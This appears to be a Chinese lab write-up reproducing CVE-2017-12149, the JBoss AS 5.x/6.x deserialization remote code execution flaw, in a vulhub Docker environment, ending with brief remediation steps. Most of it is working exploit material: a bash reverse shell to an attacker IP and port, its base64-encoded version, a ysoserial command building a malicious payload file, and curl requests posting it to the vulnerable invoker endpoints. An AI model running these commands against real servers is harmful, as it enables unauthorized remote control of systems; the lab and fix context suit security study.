当前位置: 首页 > news >正文

[ vulhub漏洞复现篇 ] JBOSS AS 5.x/6.x反序列化远程代码执行漏洞CVE-2017-12149

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 一、漏洞编号
  • 二、影响范围
  • 三、JBoss-AS指纹信息
  • 四、漏洞描述
  • 五、环境搭建
    • 1. 进入CVE-2017-12149环境
    • 2. 启动CVE-2017-12149环境
    • 3. 查看CVE-2017-12149环境
    • 4. 访问CVE-2017-12149环境
    • 5. 查看CVE-2017-12149提示信息
    • 6. 关闭CVE-2017-12149环境
  • 六、漏洞复现
    • 1. 环境
    • 2. Getshell 1
      • 攻击机监听
      • 靶机连接
        • 进行编码
        • 构建.ser文件
        • 上传生成的ser文件
      • Getshell成功
    • 3. Getshell 2
      • 攻击机监听
      • 靶机连接
      • Getshell成功
    • 4. 一键利用
      • 检测漏洞是否存在
      • 执行任意命令
  • 七、漏洞修复
  • 八、相关资源

一、漏洞编号

CVE-2017-12149

二、影响范围

Jboss AS 5.x
JbossAS 6.x

三、JBoss-AS指纹信息

{	"match": "body_contains",
	"content": "manage this jboss as instance"},

{	"match": "title_contains",
	"content": "welcome to jboss as"},

{	"match": "header_contains",
"content": "jbossas"},

{	"match": "banner_contains",
	"content": "jbossas"}

四、漏洞描述

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

五、环境搭建

1. 进入CVE-2017-12149环境

cd vulhub/jboss/CVE-2017-12149

在这里插入图片描述

2. 启动CVE-2017-12149环境

docker-compose up -d

在这里插入图片描述

3. 查看CVE-2017-12149环境

docker-compose ps

在这里插入图片描述

4. 访问CVE-2017-12149环境

http://you-ip:8080

在这里插入图片描述

5. 查看CVE-2017-12149提示信息

cat README.md

在这里插入图片描述

6. 关闭CVE-2017-12149环境

使用完成记得关闭环境

docker-compose down

在这里插入图片描述

六、漏洞复现

1. 环境

靶机:kali:192.168.13.131
攻击机:windows:192.168.192.1

2. Getshell 1

只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/JMXInvokerServlet页面中,即可执行Payload中指定的命令,获取对电脑的控制权

攻击机监听

.\nc.exe -lvvp 55555

在这里插入图片描述

靶机连接

连接命令

bash -i >&/dev/tcp/192.168.192.1/55555 0>&1

进行编码

https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec

在这里插入图片描述

构建.ser文件

利用ysoserial-all.jar工具构建.ser文件
ysoserial-all.jar工具下载地址:

https://github.com/frohoff/ysoserial

利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件

java -jar /root/Desktop/ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzE5Mi4xNjguMTkyLjEvNTU1NTUgMD4mMQ==}|{base64,-d}|{bash,-i}">poc.ser

在这里插入图片描述
在这里插入图片描述

上传生成的ser文件

使用curl命令上传生成的ser文件
curl对invoker/JMXInvokerServlet目录使用post请求上传生成的ser

curl http://192.168.13.131:8080/invoker/JMXInvokerServlet --data-binary @poc.ser

在这里插入图片描述

Getshell成功

执行ls
在这里插入图片描述

3. Getshell 2

只需要构造带有需要执行Payload的ser文件,然后使用curl将二进制文件提交至目标服务器的invoker/readonly页面中,即可执行Payload中指定的命令,获取对电脑的控制权

攻击机监听

.\nc.exe -lvvp 55555

在这里插入图片描述

靶机连接

curl对/invoker/readonly目录使用post请求上传生成的ser
不知道poc.ser怎么来的可以看上面的getshell 1

curl http://192.168.13.131:8080/invoker/readonly --data-binary @poc.ser

在这里插入图片描述

Getshell成功

在这里插入图片描述

4. 一键利用

jboss-_CVE-2017-12149工具下载地址 :

https://github.com/yunxu1/jboss-_CVE-2017-12149

检测漏洞是否存在

直接输入目标进行检测

http://192.168.13.131:8080

提示存在漏洞,系统是linux的
在这里插入图片描述

执行任意命令

输入需要执行的命令进行实现

在这里插入图片描述
在这里插入图片描述

七、漏洞修复

1、不需要 http-invoker.sar 组件的用户可直接删除此组件。
2、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:/*

八、相关资源

docker 搭建 vulhub 靶场环境:

https://blog.csdn.net/qq_51577576/article/details/125048165

反弹shell的集中常见方式(一)nc反弹shell

https://blog.csdn.net/qq_51577576/article/details/126128251

exec编码工具:

https://www.loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec

jboss-_CVE-2017-12149一键利用工具:

https://github.com/yunxu1/jboss-_CVE-2017-12149

ysoserial-all.jar工具:

https://github.com/frohoff/ysoserial

相关文章:

  • UE4 Http协议实现Web登陆与注册
  • 【线性代数基础进阶】二次型-补充+练习
  • mybatis-mybatis连接sqlserver数据库,maven
  • 融云 IM 即时通讯的跨应用通信能力
  • 行业发展解读:互联网人,如何“变道”自动驾驶?
  • 什么蓝牙耳机适合运动、运动用的蓝牙耳机推荐
  • 经典干货|相机模型与张氏标定
  • 裂变营销引爆用户增长:拼多多式的老带新活动
  • 基于FTP模式更新Winform程序
  • 金仓数据库 KingbaseES 插件参考手册 T(2)
  • LeetCode每日一题JAVA、JavaSrcipt题解——2022.08.11-08.20
  • java面向对象思维程序设计开发以及案例 -电梯运行问题对象分析与程序设计(2)
  • 有限元和神经网络结合,人脑神经网络和宇宙
  • 手写一个二叉搜索树(BST)
  • 高通WLAN框架学习(36)-- ACS(Auto Channel Selection)自动信道选择
  • [ JavaScript ] 数据结构与算法 —— 链表
  • 10个最佳ES6特性 ES7与ES8的特性
  • Android框架之Volley
  • docker-consul
  • echarts的各种常用效果展示
  • EventListener原理
  • github指令
  • JavaScript函数式编程(一)
  • Linux中的硬链接与软链接
  • nodejs实现webservice问题总结
  • NSTimer学习笔记
  • PHP 小技巧
  • Puppeteer:浏览器控制器
  • Spring Cloud Alibaba迁移指南(一):一行代码从 Hystrix 迁移到 Sentinel
  • 阿里研究院入选中国企业智库系统影响力榜
  • 高性能JavaScript阅读简记(三)
  • 开年巨制!千人千面回放技术让你“看到”Flutter用户侧问题
  • 理解 C# 泛型接口中的协变与逆变(抗变)
  • 数据库写操作弃用“SELECT ... FOR UPDATE”解决方案
  • Spring Batch JSON 支持
  • !!Dom4j 学习笔记
  • #define与typedef区别
  • #我与Java虚拟机的故事#连载06:收获颇多的经典之作
  • #我与Java虚拟机的故事#连载19:等我技术变强了,我会去看你的 ​
  • (10)工业界推荐系统-小红书推荐场景及内部实践【排序模型的特征】
  • (23)Linux的软硬连接
  • (4)logging(日志模块)
  • (rabbitmq的高级特性)消息可靠性
  • (react踩过的坑)Antd Select(设置了labelInValue)在FormItem中initialValue的问题
  • (第27天)Oracle 数据泵转换分区表
  • (黑马出品_高级篇_01)SpringCloud+RabbitMQ+Docker+Redis+搜索+分布式
  • (一)pytest自动化测试框架之生成测试报告(mac系统)
  • (原)记一次CentOS7 磁盘空间大小异常的解决过程
  • (原創) 博客園正式支援VHDL語法著色功能 (SOC) (VHDL)
  • (转)Oracle 9i 数据库设计指引全集(1)
  • (转)关于多人操作数据的处理策略
  • * CIL library *(* CIL module *) : error LNK2005: _DllMain@12 already defined in mfcs120u.lib(dllmodu
  • .NET Framework与.NET Framework SDK有什么不同?
  • .net framwork4.6操作MySQL报错Character set ‘utf8mb3‘ is not supported 解决方法
  • .Net Winform开发笔记(一)